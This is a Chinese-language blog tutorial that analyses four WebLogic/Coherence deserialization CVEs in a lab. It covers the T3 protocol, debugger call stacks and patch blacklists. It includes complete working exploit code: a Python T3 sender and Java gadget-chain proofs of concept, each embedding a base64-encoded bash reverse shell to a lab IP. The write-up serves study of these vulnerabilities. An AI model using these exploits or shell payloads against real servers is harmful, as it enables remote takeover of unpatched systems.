前言
WebLogic是美国Oracle公司的主要产品之一,是商业市场上主要的 J2EE 应用服务器软件,也是世界上第一个成功商业化的J2EE应用服务器,在 Java 应用服务器中有非常广泛的部署和应用。
我们这里通过Weblogic的CVE来学习各种的利用手法。
环境搭建
对于Weblogic的环境搭建,可以使用下面的这个项目
https://github.com/QAX-A-Team/WeblogicEnvironment
根据项目中的README
中的描述进行搭建,我这里选用的是jdk7u21
和wls10.3.6
版本
之后需要修改一点Dockerfile
之后就是构建镜像和运行容器
## 创建镜像
docker build --build-arg JDK_PKG=jdk-7u21-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=wls1036_generic.jar -t weblogic1036jdk7u21 .
## 运行容器
docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic1036jdk7u21 weblogic1036jdk7u21
成功运行服务
可以登录管理控制台
:7001/console/login/LoginForm.jsp
默认账号密码为weblogic / qaxateam01
T3协议的利用
CVE-2015-4582
影响
- 10.3.6.0
- 12.1.2.0
- 12.1.3.0
- 12.2.1.0
原理
此漏洞允许攻击者通过T3协议和TCP协议服共用的7001端口进行远程命令执行
分析
对于weblogic
来说,反序列化的点在weblogic.rjvm.InboundMsgAbbrev#readObject
方法,打下断点
贴一下这时候的调用栈
readObject:60, InboundMsgAbbrev (weblogic.rjvm)
read:38, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm)
init:213, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:498, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:387, BaseAbstractMuxableSocket (weblogic.socket)
readReadySocketOnce:967, SocketMuxer (weblogic.socket)
readReadySocket:899, SocketMuxer (weblogic.socket)
processSockets:130, PosixSocketMuxer (weblogic.socket)
run:29, SocketReaderRequest (weblogic.socket)
execute:42, SocketReaderRequest (weblogic.socket)
execute:145, ExecuteThread (weblogic.kernel)
run:117, ExecuteThread (weblogic.kernel)
其中传入的var1
变量中就存在有我们传入的序列化数据
调用了var1#read
方法
在这个式子的后面部分因为this.pos() == this.curEndEnvelope
计算为false,所以将会调用父类的read方法
直接返回
因为var1.read()
方法中返回的结果为0,所以将会进入case 0
语句,将会调用(new InboundMsgAbbrev.ServerChannelInputStream(var1)).readObject()
语句
首先来看前面部分
就是一个构造函数,值得注意的是,在向serverChannel
属性传入数据时候可以发现使用的协议是t3
协议进行反序列化
之后进行后面一部分,调用了readObject
方法
但是,ServerChannelInputStream
类没有重写readObject
方法,所以,调用的是他的父类ObjectInputStream#readObject
方法
对于Java反序列化来说,将会在反序列化中调用resolveClass
方法读取反序列化的类名
具体实现在ObjectInputStream#readNonProxyDesc
方法中
调用栈
resolveClass:108, InboundMsgAbbrev$ServerChannelInputStream (weblogic.rjvm)
readNonProxyDesc:1610, ObjectInputStream (java.io)
readClassDesc:1515, ObjectInputStream (java.io)
readOrdinaryObject:1769, ObjectInputStream (java.io)
readObject0:1348, ObjectInputStream (java.io)
readObject:370, ObjectInputStream (java.io)
readObject:66, InboundMsgAbbrev (weblogic.rjvm)
虽然ServerChannelInputStream
没有重写readObject方法,但是他重写了resolveClass
方法,跟进看看
首先调用父类ObjectInputStream#resolveClass
方法获取对应类名
调用getName
方法获取类名,之后通过Class.forName方法获取对应的类,因为这里的resolveClass
方法是直接使用的父类的该方法,并没有做出任何的安全过滤操作,所以能够实例化任意类
之后就是CC1链的部分了,就不分析了
利用
from os import popen
import struct # 负责大小端的转换
import subprocess
from sys import stdout
import socket
import re
import binascii
def generatePayload(gadget, cmd):
YSO_PATH = "E:\\POCgithub\\Java\\tools\\ShiroExploit.V2.51\\ysoserial.jar"
popen = subprocess.Popen(['java', '-jar', YSO_PATH, gadget, cmd], stdout=subprocess.PIPE)
return popen.stdout.read()
def T3Exploit(ip, port, payload):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ip, port))
handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n"
sock.sendall(handshake.encode())
data = sock.recv(1024)
data += sock.recv(1024)
compile = re.compile("HELO:(.*).0.false")
print(data.decode())
match = compile.findall(data.decode())
if match:
print("Weblogic: " + "".join(match))
else:
print("Not Weblogic")
return
header = binascii.a2b_hex(b"00000000")
t3header = binascii.a2b_hex(
b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006")
desflag = binascii.a2b_hex(b"fe010000")
payload = header + t3header + desflag + payload
payload = struct.pack(">I", len(payload)) + payload[4:]
sock.send(payload)
if __name__ == "__main__":
ip = "192.168.153.136"
port = 7001
gadget = "CommonsCollections1"
cmd = "bash -c {echo,YmFzaCAtYyAnZXhlYyBiYXNoIC1pICY+L2Rldi90Y3AvMTkyLjE2OC4yLjE0OS84MDAwIDwmMSc=}|{base64,-d}|{bash,-i}"
payload = generatePayload(gadget, cmd)
T3Exploit(ip, port, payload)
修复
主要是通过打补丁的方式,记录一下过程吧,毕竟踩了好多坑
在下载了上面的补丁之后,可以通过上面给的链接打上补丁
我们再次使用前面提到的POC进行攻击,发现,不能够成功弹回shell
我们查看Weblogic的日志
发现有这样的一个报错
java.io.InvalidClassException: Unauthorized deserialization attempt; org.apache.commons.collections.functors.ChainedTransformer
java.io.InvalidClassException: Unauthorized deserialization attempt; org.apache.commons.collections.functors.ChainedTransformer
at weblogic.rjvm.InboundMsgAbbrev$ServerChannelInputStream.resolveClass(InboundMsgAbbrev.java:116)
at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1610)
at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1515)
at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1769)
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1348)
at java.io.ObjectInputStream.defaultReadFields(ObjectInputStream.java:1989)
at java.io.ObjectInputStream.defaultReadObject(ObjectInputStream.java:499)
at org.apache.commons.collections.map.LazyMap.readObject(LazyMap.java:149)
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:601)
at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1004)
at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1891)
at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1796)
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1348)
at java.io.ObjectInputStream.defaultReadFields(ObjectInputStream.java:1989)
at java.io.ObjectInputStream.defaultReadObject(ObjectInputStream.java:499)
at sun.reflect.annotation.AnnotationInvocationHandler.readObject(AnnotationInvocationHandler.java:331)
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:601)
at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1004)
at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1891)
at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1796)
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1348)
at java.io.ObjectInputStream.defaultReadFields(ObjectInputStream.java:1989)
at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1913)
at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1796)
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1348)
at java.io.ObjectInputStream.defaultReadFields(ObjectInputStream.java:1989)
at java.io.ObjectInputStream.defaultReadObject(ObjectInputStream.java:499)
at sun.reflect.annotation.AnnotationInvocationHandler.readObject(AnnotationInvocationHandler.java:331)
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:601)
at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1004)
at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1891)
at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1796)
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1348)
at java.io.ObjectInputStream.readObject(ObjectInputStream.java:370)
at weblogic.rjvm.InboundMsgAbbrev.readObject(InboundMsgAbbrev.java:69)
at weblogic.rjvm.InboundMsgAbbrev.read(InboundMsgAbbrev.java:41)
at weblogic.rjvm.MsgAbbrevJVMConnection.readMsgAbbrevs(MsgAbbrevJVMConnection.java:283)
at weblogic.rjvm.MsgAbbrevInputStream.init(MsgAbbrevInputStream.java:215)
at weblogic.rjvm.MsgAbbrevJVMConnection.dispatch(MsgAbbrevJVMConnection.java:498)
at weblogic.rjvm.t3.MuxableSocketT3.dispatch(MuxableSocketT3.java:330)
at weblogic.socket.BaseAbstractMuxableSocket.dispatch(BaseAbstractMuxableSocket.java:394)
at weblogic.socket.SocketMuxer.readReadySocketOnce(SocketMuxer.java:960)
at weblogic.socket.SocketMuxer.readReadySocket(SocketMuxer.java:897)
at weblogic.socket.PosixSocketMuxer.processSockets(PosixSocketMuxer.java:130)
at weblogic.socket.SocketReaderRequest.run(SocketReaderRequest.java:29)
at weblogic.socket.SocketReaderRequest.execute(SocketReaderRequest.java:42)
at weblogic.kernel.ExecuteThread.execute(ExecuteThread.java:145)
at weblogic.kernel.ExecuteThread.run(ExecuteThread.java:117)
通过搜索,我们可以定位到BUG22248372_1036.jar
这个jar包来
在前面调用ClassFitler.isBlackListed
方法进行黑名单判断
主要作用在了wlthint3client.jar
包下的
weblogic.rjvm.InboundMsgAbbrev.class :: ServerChannelInputStream
weblogic.rjvm.MsgAbbrevInputStream.class
weblogic.iiop.Utils.class
CVE-2016-0638
影响
- 10.3.6.0
- 12.1.2.0
- 12.1.3.0
- 12.2.1.0
原理
从上一个补丁中进行了黑名单的过滤,主要运用于三个类中,这个CVE中的绕过方法就是寻找到了一个类,在其readObject
方法中创建了自己的InputStream
对象,没有使用上面那几个类进行反序列化,这样就可以变相绕过上面补丁中的过滤
按照这种思路,漏洞作者找到了weblogic.jms.common.StreamMessageImpl
类
在其中的readExternal
方法中
StreamMessageImpl在反序列化的时候,根据传递过来的输入数据第一个字节判断是否是1,若为1,会对后续数据调用反序列化函数,var5实际是一个ObjectInputStream,其readObject即开启了后续反序列化的启动
分析
根据前面原理的描述,我们知道了主要的利用点是StreamMessageImpl#readExternal
方法
其中的BufferInputStream
流是从其中的payload
属性获取的
跟进payload的赋值,跟进PayloadFactoryImpl.createPayload
方法
首先调用输入流的readInt
方法,之后将获取的var1
和输入流var0
作为参数带入copyPayloadFromStream
方法的调用
在这个方法中,获取var1
和chunk_size的两倍中最小的那个,结合输入流调用createOneSharedChunk
方法创建一个Chunk类对象
首先通过传入的var1
初始化一个byte数组,之后通过输入流var0向其填充,通过Chunk
类的构造方法创建Chunk
之后通过一些封装,传递给了payload
属性,之后就是在readExternal
方法中进行反序列化
所以,对于构造payload来说
根据readExternal
方法中的逻辑
public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException {
super.readExternal(var1);
byte var2 = var1.readByte();
byte var3 = (byte)(var2 & 127);
if (var3 >= 1 && var3 <= 3) {
switch(var3) {
case 1:
this.payload = (PayloadStream)PayloadFactoryImpl.createPayload((InputStream)var1);
BufferInputStream var4 = this.payload.getInputStream();
ObjectInputStream var5 = new ObjectInputStream(var4);
this.setBodyWritable(true);
this.setPropertiesWritable(true);
调用readByte
方法,要求其为1
,才能够利用
而又根据前面的分析
public static Payload createPayload(InputStream var0) throws IOException {
int var1 = ((DataInput)var0).readInt();
if (var1 > CHUNK_LINK_THRESHOLD) {
需要调用readInt
方法返回的是序列化数据的长度
public static Chunk createOneSharedChunk(InputStream var0, int var1) throws IOException {
byte[] var2 = new byte[var1];
int var4;
for(int var3 = 0; var3 < var1; var3 += var4) {
var4 = var0.read(var2, var3, var1 - var3);
if (var4 < 0) {
throw new EOFException();
}
}
Chunk var5 = new Chunk(var2, var1);
var5.readOnlySharedBuf = true;
return var5;
}
而这里是需要read方法读取的是序列化数据
针对这些个要求
我们有两种方式满足这些要求,这里就有点类似于我之前分析的Dubbo反序列化一样
- 直接抓取数据包,使用Python发送数据包
- 重写
writeExternal
方法,实现相应要求
这里我使用的是重写这种方法(个人感觉简单些)
直接在src下创建StreamMessageImpl
类的包名weblogic.jms.common
添加一些方法和重写writeExternal
方法
/**
* 获取序列化数据大小
* @return payload_size
*/
public Integer getPayloadInt() {
return this.payload_size;
}
/**
* 获取序列化数据
* @return payload_content
*/
public byte[] getPayload_content() {
return this.payload_content;
}
/**
* 写入序列化数据和对应长度
* @param var1
* @param var2
*/
public void setPayload(byte[] var1, Integer var2) {
this.payload_content = var1;
this.payload_size = var2;
}
/**
* 重写writeExternal方法生成payload
* @param var1
* @throws IOException
*/
public void writeExternal(ObjectOutput var1) throws IOException {
super.writeExternal(var1);
var1.writeByte(1);
var1.writeInt(getPayloadInt());
var1.write(getPayload_content());
}
之后就是发送生成的恶意数据包
public static void main(String[] args) {
try {
byte[] payloadObject = new CVE_2016_0638().getObject();
StreamMessageImpl streamMessage = new StreamMessageImpl();
streamMessage.setPayload(payloadObject, payloadObject.length);
byte[] payload2 = Serializables.serialize(streamMessage);
T3ProtocolOperation.send("192.168.153.136", "7001", payload2);
} catch (Exception e) {
e.printStackTrace();
}
}
对于T3ProtocolOperation#send
中的逻辑主要是参考自weblogic_cmd
项目,同样可以使用python来进行利用,将其中的t3 协议头给剥离出来就行了
getObject
方法就是获取需要反序列化的恶意序列化数据(这里是CC1链)
在打了补丁的情况下,仍然能够利用
分析一下调用过程
首先放个到反序列化入口的调用链
readExternal:1433, StreamMessageImpl (weblogic.jms.common)
readExternalData:1835, ObjectInputStream (java.io)
readOrdinaryObject:1794, ObjectInputStream (java.io)
readObject0:1348, ObjectInputStream (java.io)
readObject:370, ObjectInputStream (java.io)
readObject:69, InboundMsgAbbrev (weblogic.rjvm)
read:41, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm)
init:215, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:498, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:394, BaseAbstractMuxableSocket (weblogic.socket)
readReadySocketOnce:960, SocketMuxer (weblogic.socket)
readReadySocket:897, SocketMuxer (weblogic.socket)
processSockets:130, PosixSocketMuxer (weblogic.socket)
run:29, SocketReaderRequest (weblogic.socket)
execute:42, SocketReaderRequest (weblogic.socket)
execute:145, ExecuteThread (weblogic.kernel)
run:117, ExecuteThread (weblogic.kernel)
前面的流程在前面已经说过了
在这里得到了我们传入的恶意序列化数据,并在之后成功进行了反序列化调用
CVE-2016-3510
影响
- Oracle WebLogic Server 12.2.1.0
- Oracle WebLogic Server 12.1.3.0
- Oracle WebLogic Server 12.1.2.0
- Oracle WebLogic Server 10.3.6.0
原理
跟上一个漏洞类似,这次利用的是weblogic.corba.utils.MarshalledObject
这个类,这个类并没有实现readObject
或者readExternal
函数,所以在反序列化的时候采用ObjectInputStream的默认流程
即调用ObjectInputStream#readObject
方法,进而调用了readObject0
方法
分析
接着上面说的readObject0
方法的调用
在该方法中调用了readOrdinaryObject
方法进行反序列化
进而调用了desc.invokeReadResolve
方法进行处理
在这个方法中将会调用对应类的readResolve
方法
跟进MarshalledObject#readResolve
方法
将会调用readObject进行反序列化调用,字节流是该类的objBytes
属性
所以在构造MarshalledObject
对象的时候需要将序列化数据传给objBytes
属性
那么objBytes
是从哪里来的呢?
可以关注到MarshalledObject
的构造函数中,将传入的对象var1
通过MarshalledObject.MarshalledObjectOutputStream
类进行封装
其父类是ObjectOutputStream
类,因为MarshalledObject
构造方法中调用了writeObject
进行序列化操作,但是MarshalledObjectOutputStream
类并没有重写该方法,所以调用的是父类ObjectOutputStream
的writeObject
方法进行序列化操作
之后再构造方法中将得到的序列化数据转换为byte数组之后存放在了objBytes
属性中,好吧,这里不就是纯纯的二次反序列化嘛!!
到这里我们就可以构造payload了
同样套用我们上一个CVE的模板
之后通过MarshalledObject
的构造方法传入恶意类
public class CVE_2016_3510 {
public Object getObject() throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"bash -c {echo,YmFzaCAtYyAnZXhlYyBiYXNoIC1pICY+L2Rldi90Y3AvMTkyLjE2OC4yLjE0OS84MDAwIDwmMSc=}|{base64,-d}|{bash,-i}"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
String classToSerialize = "sun.reflect.annotation.AnnotationInvocationHandler";
final Constructor<?> constructor = Class.forName(classToSerialize).getDeclaredConstructors()[0];
constructor.setAccessible(true);
InvocationHandler secondInvocationHandler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);
final Map testMap = new HashMap();
Map evilMap = (Map) Proxy.newProxyInstance(
testMap.getClass().getClassLoader(),
testMap.getClass().getInterfaces(),
secondInvocationHandler
);
final Constructor<?> ctor = Class.forName(classToSerialize).getDeclaredConstructors()[0];
ctor.setAccessible(true);
final InvocationHandler handler = (InvocationHandler) ctor.newInstance(Override.class, evilMap);
return handler;
}
public static void main(String[] args) {
try {
Object payloadObject = new CVE_2016_3510().getObject();
MarshalledObject marshalledObject = new MarshalledObject(payloadObject);
byte[] payload2 = Serializables.serialize(marshalledObject);
T3ProtocolOperation.send("192.168.153.136", "7001", payload2);
} catch (Exception e) {
e.printStackTrace();
}
}
}
是能够成功反弹shell的
调用栈
readResolve:58, MarshalledObject (weblogic.corba.utils)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:57, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:601, Method (java.lang.reflect)
invokeReadResolve:1091, ObjectStreamClass (java.io)
readOrdinaryObject:1805, ObjectInputStream (java.io)
readObject0:1348, ObjectInputStream (java.io)
readObject:370, ObjectInputStream (java.io)
readObject:69, InboundMsgAbbrev (weblogic.rjvm)
read:41, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm)
init:215, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:498, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:394, BaseAbstractMuxableSocket (weblogic.socket)
readReadySocketOnce:960, SocketMuxer (weblogic.socket)
readReadySocket:897, SocketMuxer (weblogic.socket)
processSockets:130, PosixSocketMuxer (weblogic.socket)
run:29, SocketReaderRequest (weblogic.socket)
execute:42, SocketReaderRequest (weblogic.socket)
execute:145, ExecuteThread (weblogic.kernel)
run:117, ExecuteThread (weblogic.kernel)
这里的objBytes
也是我们的序列化数据
CVE-2020-2555
影响
Oracle Coherence 3.7.1.17
Oracle Coherence 12.1.3.0.0
Oracle Coherence 12.2.1.3.0
Oracle Coherence 12.2.1.4.0
原理
这个CVE主要是能够传入可控的参数导致调用任意的方法
实在没有找到补丁,只能爬张网上的图
在补丁中,移除的部分是ValueExtractor#extract
方法的调用,传入了参数this.m_oAnchorTop / this.m_oAnchorBottom
属性
分析
根据前面提到的补丁中做出的修复处理去除了LimitFilter#toString
方法中的extract
方法的调用
因为LimitFitler
是coherence
组件中的一个类,所以我们还需要从docker中获取coherence
组件的依赖包
跟进没有修改的LimitFitler#toString
方法
在该方法中主要是创建了一个StringBuffer
对象,之后一直向对象中添加数据,在最后将调用其toString
方法进行返回。
值得注意的是,在这个过程中如果该类的m_comparator
属性是一个ValueExtractor
实例的话,将会在调用其extract
方法之后再进行添加
我们跟进一下ValueExtracotr
接口
存在有extract
等四个方法,分别用来提取,比较,计算hash,返回字符串等功能
我们寻找实现了该接口的类
还挺多的,一个一个去看对应类的extract
方法的实现
好吧,有很多类都存在有利用的方式,这里我们分析这个CVE的利用方式吧
我们跟进com.tangosol.util.extractor.ReflectionExtractor#extract
方法中
在该方法中,首先是通过调用目标类的getClass
方法获取了类对象,如果在该类中存在有m_methodPrev
中的方法,调用通过反射调用该方法,传入的参数是m_aoParam
属性值
分析到这里,就很明确了,主要是通过这种方法构造出Runtime.getRuntime.exec("id")
这样的命令执行
我们跟进一下他的构造方法
我们可以传入需要调用的方法名和参数
这里和之前分析的CC链类似,CC链是通过ChainedTransformer
类来构造的调用链
这里也有存在类似的Extractor
能够形成一条完整的利用链
在ChainedExtractor#extract
方法中存在有类似于ChainedTransformer
类的方法,能够连续调用ValueExtractor
的extract
方法
所以我们构建payload(需要coherence.jar
依赖)
在ChainedExtractor#extract
中的oTarget
参数来自于LimitFilter#toString
方法中,调用了m_oAnchorTop
属性
对于m_oAnchorTop
属性我们传入Runtime
类,而其中的ValueExtractor
对象主要是通过属性m_comparator
传入的,这个属性传入的ChainedExtractor
类对象
接着Runtime
类进行分析,需要调用对应的getMethod
方法,得到Runtime
类的getRuntime
方法
好吧,在编写好POC之后,发现没有成功利用,但是在本地测试的时候能够成功
但是可恶的是,通过将序列化数据进行T3协议的封装后发送给远程Weblogic服务端,没有成功利用
在踩了好久好久的坑之后,通过找不同,我发现了本地使用的是JDK 8u202
,但是我在前面搭建远程weblogic服务的时候使用的是JDK 7u21
的版本
在JDK的commit中可以发现,在8u76
版本的修改中,存在有toString
方法的调用,才能够使用BadAttributeValueExpression#toString
调用链
接下来重新构建一下环境,构建JDK 8u121 + weblogic 12.1.3
的组合
之后就是构建的POC
package pers.weblogic;
import com.supeream.serial.Serializables;
import com.supeream.weblogic.T3ProtocolOperation;
import com.tangosol.util.ValueExtractor;
import com.tangosol.util.extractor.ChainedExtractor;
import com.tangosol.util.extractor.ReflectionExtractor;
import com.tangosol.util.filter.LimitFilter;
import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Field;
public class CVE_2020_2555 {
public static void main(String[] args) throws Exception {
// 创建第一个Extractor Runtime.getMethod("getRuntime")
ReflectionExtractor reflectionExtractor1 = new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[0]});
// 第二个Extractor getRuntime.invoke()
ReflectionExtractor reflectionExtractor2 = new ReflectionExtractor("invoke", new Object[]{null, new Object[0]});
// 第三个Extractor invoke(exec, "id")
ReflectionExtractor reflectionExtractor3 = new ReflectionExtractor("exec", new Object[]{"bash -c {echo,YmFzaCAtYyAnZXhlYyBiYXNoIC1pICY+L2Rldi90Y3AvMTkyLjE2OC4zLjM1LzgwMDAgPCYxJw==}|{base64,-d}|{bash,-i}"});
// ReflectionExtractor reflectionExtractor3 = new ReflectionExtractor("exec", new Object[]{new String[]{"calc"}});
ChainedExtractor chainedExtractor = new ChainedExtractor(new ValueExtractor[]{reflectionExtractor1, reflectionExtractor2, reflectionExtractor3});
LimitFilter limitFilter = new LimitFilter();
limitFilter.setComparator(chainedExtractor);
limitFilter.setTopAnchor(Runtime.class);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
try {
Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException, limitFilter);
} catch (Exception e) {
e.printStackTrace();
}
byte[] payload = Serializables.serialize(badAttributeValueExpException);
// 通过封装的T3协议发送payload
T3ProtocolOperation.send("192.168.153.136", "7001", payload);
// Serializables.deserialize(payload);
}
}
可以直接攻击反弹shell
在调试POC中可以发现成功写入Extractor
形成了利用链
贴个调用栈
exec:347, Runtime (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
extract:109, ReflectionExtractor (com.tangosol.util.extractor)
extract:81, ChainedExtractor (com.tangosol.util.extractor)
toString:580, LimitFilter (com.tangosol.util.filter)
readObject:86, BadAttributeValueExpException (javax.management)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:2122, ObjectInputStream (java.io)
readOrdinaryObject:2013, ObjectInputStream (java.io)
readObject0:1535, ObjectInputStream (java.io)
readObject:422, ObjectInputStream (java.io)
readObject:67, InboundMsgAbbrev (weblogic.rjvm)
read:39, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:287, MsgAbbrevJVMConnection (weblogic.rjvm)
init:212, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:507, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:489, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:359, BaseAbstractMuxableSocket (weblogic.socket)
readReadySocketOnce:970, SocketMuxer (weblogic.socket)
readReadySocket:907, SocketMuxer (weblogic.socket)
process:495, NIOSocketMuxer (weblogic.socket)
processSockets:461, NIOSocketMuxer (weblogic.socket)
run:30, SocketReaderRequest (weblogic.socket)
execute:43, SocketReaderRequest (weblogic.socket)
execute:147, ExecuteThread (weblogic.kernel)
run:119, ExecuteThread (weblogic.kernel)
Ref
https://www.chabug.org/author/Y4er